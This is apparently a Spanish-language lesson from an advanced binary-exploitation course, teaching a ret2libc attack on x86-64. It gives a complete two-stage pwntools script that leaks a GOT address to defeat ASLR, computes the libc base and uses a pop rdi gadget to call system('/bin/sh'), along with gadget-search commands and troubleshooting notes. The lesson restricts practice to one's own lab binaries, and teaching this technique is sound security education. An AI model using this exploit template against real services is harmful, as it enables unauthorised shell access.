Parte: 5 — Explotación de sistemas y binarios · Fuente: Anley et al., The Shellcoder's Handbook · docs pwntools ⏱️ Duración estimada: 130 min · Nivel: Avanzado
Evadir NX/DEP sin inyectar shellcode: en lugar de ejecutar datos, reutilizas código ya existente
en libc. Construirás un exploit ret2libc que salta a system("/bin/sh") colocando el argumento
en RDI mediante un gadget pop rdi. También verás cómo un info leak de la GOT derrota ASLR
para conocer la base de libc. Es el primer bypass real de mitigaciones.
⚠️ Ética: exclusivamente en tus binarios de laboratorio o retos autorizados.
Al finalizar, el alumno podrá:
pop rdi; ret y la cadena "/bin/sh" en libc.system("/bin/sh").ELF/libc.| # | Tema | Por qué importa |
|---|---|---|
| 1 | Reutilización de código vs shellcode | La clave para saltar NX |
| 2 | GOT/PLT | De dónde se filtra libc |
| 3 | Info leak | Derrota ASLR revelando una base |
| 4 | Cálculo de base de libc | leak - offset_símbolo |
| 5 | Gadget pop rdi; ret | Colocar el argumento en x64 |
| 6 | system("/bin/sh") | Objetivo de la cadena |
| 7 | Alineación de stack | Evitar el crash de movaps |
| 8 | pwntools ELF/ROP | Automatizar direcciones y gadgets |
system) en vez de a
shellcode. Clave: evade NX porque libc es ejecutable.dirección_filtrada - offset_del_símbolo_en_libc. Clave: con la base calculas
cualquier símbolo (system, /bin/sh).ret (p. ej. pop rdi; ret). Clave: en x64 se necesita
para cargar RDI con el argumento.execve("/bin/sh") bajo ciertas condiciones. Clave:
atajo cuando las restricciones se cumplen.pip install pwntools
sudo apt install -y gdb
# ROPgadget o el buscador de pwntools
pip install ROPgadget
# one_gadget (opcional): gem install one_gadget
Usa un binario con NX activo pero sin PIE ni canary para el primer ret2libc, y ten a mano la libc
exacta del sistema (ldd ./bin).
Entorno propio.
Audita el binario objetivo: checksec ./ret2libc. Debe mostrar NX enabled, No PIE, No canary.
Localiza gadgets y la cadena /bin/sh:
bash
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rdi ; ret"
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
puts(GOT['puts']) y luego volver a main:python
from pwn import *
elf = context.binary = ELF("./ret2libc")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./ret2libc")
rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
payload = b"A"*72
payload += p64(pop_rdi) + p64(elf.got["puts"])
payload += p64(elf.plt["puts"]) + p64(elf.symbols["main"])
p.sendline(payload)
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.symbols["puts"] # base de libc
log.success(f"libc base = {hex(libc.address)}")
python
ret = rop.find_gadget(["ret"])[0] # alineación
payload = b"A"*72
payload += p64(pop_rdi) + p64(next(libc.search(b"/bin/sh")))
payload += p64(ret) + p64(libc.symbols["system"])
p.sendline(payload)
p.interactive() # deberías obtener una shell
Si no hay shell, verifica alineación (añade/quita el gadget ret) y que la libc sea la correcta.
Explora one_gadget /lib/.../libc.so.6 como alternativa de una sola dirección.
printf).system por un one_gadget válido.pop rdi).main tras la fuga.libc-database.Entrega un exploit ret2libc que abra una shell interactiva contra tu binario NX (sin PIE/canary), calculando la base de libc en tiempo de ejecución.
Criterio de aceptación: p.interactive() te da una shell donde id responde, y el exploit
funciona con ASLR activado gracias a la fuga.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
| Shell no aparece, crash en system | Stack desalineado; añade gadget ret |
| Base de libc absurda | Offset de símbolo de otra versión de libc; usa la correcta |
| Fuga da valor corto | Faltó ljust(8,\x00) al desempaquetar |
pop rdi no encontrado |
Búscalo en libc, no solo en el binario |
| Funciona sin ASLR pero no con él | La fuga falló; revisa fase 1 |
❓ ¿Por qué ret2libc y no shellcode? Porque NX impide ejecutar el stack; libc ya es ejecutable.
❓ ¿Necesito la libc exacta? Sí: los offsets de system//bin/sh dependen de la versión.
Identifícala con libc-database.
❓ ¿one_gadget siempre funciona? No: exige que ciertos registros valgan algo concreto; verifica sus constraints.
Clase 122 — Protecciones modernas: ASLR, DEP/NX, stack canaries y PIE